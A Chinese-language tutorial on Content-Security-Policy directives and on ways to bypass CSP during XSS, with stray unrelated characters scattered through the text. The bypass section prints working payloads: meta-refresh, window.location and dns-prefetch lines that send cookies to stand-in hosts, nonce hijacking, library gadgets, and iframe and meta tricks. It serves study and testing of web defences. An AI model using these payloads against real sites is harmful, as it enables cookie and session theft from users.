XSS的時候經(jīng)常要繞過CSP,這里總結(jié)一下
CSP策略
一個CSP頭由多組CSP策略組成闺阱,中間由分號分隔炮车,就像這樣:
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一組策略包含一個策略指令和一個內(nèi)容源列表
一、常用的策略指令:
-
default-src
default-src 指令定義了那些沒有被更精確指令指定的安全策略酣溃。這些指令包括:
- child-src
- connect-src
- font-src
- img-src
- media-src
- object-src
- script-src
- style-src
-
script-src
script-src定義了頁面中Javascript的有效來源
-
style-src
style-src定義了頁面中CSS樣式的有效來源
-
img-src
img-src定義了頁面中圖片和圖標的有效來源
-
font-src
font-src定義了字體加載的有效來源
-
connect-src
connect-src定義了請求瘦穆、XMLHttpRequest、WebSocket 和 EventSource 的連接來源赊豌。
-
child-src
child-src 指定定義了 web workers 以及嵌套的瀏覽上下文(如<frame>和<iframe>)的源扛或。
二、內(nèi)容源:
內(nèi)容源有三種:源列表碘饼、關(guān)鍵字和數(shù)據(jù)
-
源列表
源列表是一個字符串熙兔,指定了一個或多個互聯(lián)網(wǎng)主機(通過主機名或 IP 地址),和可選的或端口號艾恼。站點地址可以包含可選的通配符前綴 (星號, '*')住涉,端口號也可以使用通配符 (同樣是 '*') 來表明所有合法端口都是有效來源。主機通過空格分隔钠绍。
有效的主機表達式包括:
http://*.foo.com (匹配所有使用 http協(xié)議加載 foo.com 任何子域名的嘗試舆声。)
mail.foo.com:443 (匹配所有訪問 mail.foo.com 的 443 端口 的嘗試。)
https://store.foo.com (匹配所有使用 https協(xié)議訪問 store.foo.com 的嘗試柳爽。)
如果端口號沒有被指定媳握,瀏覽器會使用指定協(xié)議的默認端口號碱屁。如果協(xié)議沒有被指定,瀏覽器會使用訪問該文檔時的協(xié)議毙芜。
-
關(guān)鍵字
-
'none'
代表空集忽媒;即不匹配任何 URL。兩側(cè)單引號是必須的腋粥。 -
'self'
代表和文檔同源晦雨,包括相同的 URL 協(xié)議和端口號。兩側(cè)單引號是必須的隘冲。 -
'unsafe-inline'
允許使用內(nèi)聯(lián)資源闹瞧,如內(nèi)聯(lián)的<script>元素、javascript: URL展辞、內(nèi)聯(lián)的事件處理函數(shù)和內(nèi)聯(lián)的<style>元素奥邮,兩側(cè)單引號是必須的。 -
'unsafe-eval'
允許使用 eval() 等通過字符串創(chuàng)建代碼的方法罗珍。兩側(cè)單引號是必須的洽腺。
-
'none'
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
-
數(shù)據(jù)
-
data:
允許data: URI作為內(nèi)容來源。 -
mediastream:
允許mediastream: URI作為內(nèi)容來源覆旱。
-
data:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
CSP繞過方式
CSP的設置可能情況太多蘸朋,這里只討論幾個比較典型的情況。
一扣唱、url跳轉(zhuǎn)
在default-src 'none'的情況下藕坯,可以使用meta標簽實現(xiàn)跳轉(zhuǎn)
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允許unsafe-inline的情況下,可以用window.location噪沙,或者window.open之類的方法進行跳轉(zhuǎn)繞過炼彪。
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
二、<link>標簽預加載
CSP對link標簽的預加載功能考慮不完善正歼。
在Chrome下辐马,可以使用如下標簽發(fā)送cookie(最新版Chrome會禁止)
<link rel="prefetch" >
在Firefox下,可以將cookie作為子域名局义,用dns預解析的方式把cookie帶出去齐疙,查看dns服務器的日志就能得到cookie
<link rel="dns-prefetch" href="http://[cookie].xxx.ceye.io">
三、利用瀏覽器補全
有些網(wǎng)站限制只有某些腳本才能使用旭咽,往往會使用<script>標簽的nonce屬性贞奋,只有nonce一致的腳本才生效,比如CSP設置成下面這樣:
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
那么當腳本插入點為如下的情況時
<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
這樣會拼成一個新的script標簽穷绵,其中的src可以自由設定
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
四轿塔、代碼重用
Blackhat2017上有篇ppt總結(jié)了可以被用來繞過CSP的一些JS庫。
例如假設頁面中使用了Jquery-mobile庫,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"勾缭,那么下面的向量就可以繞過CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
在這個PPT之外的還有一些庫也可以被利用揍障,例如RCTF2018中遇到的amp庫,下面的標簽可以獲取名字為FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
五俩由、iframe
1.如果頁面A中有CSP限制毒嫡,但是頁面B中沒有,同時A和B同源幻梯,那么就可以在A頁面中包含B頁面來繞過CSP:
<iframe src="B"></iframe>
2.在Chrome下兜畸,iframe標簽支持csp屬性,這有時候可以用來繞過一些防御碘梢,例如"http://xxx"頁面有個js庫會過濾XSS向量咬摇,我們就可以使用csp屬性來禁掉這個js庫。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
六煞躬、meta標簽
meta標簽有一些不常用的功能有時候有奇效:
meta可以控制緩存(在header沒有設置的情況下)肛鹏,有時候可以用來繞過CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以設置Cookie(Firefox下)恩沛,可以結(jié)合self-xss利用在扰。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">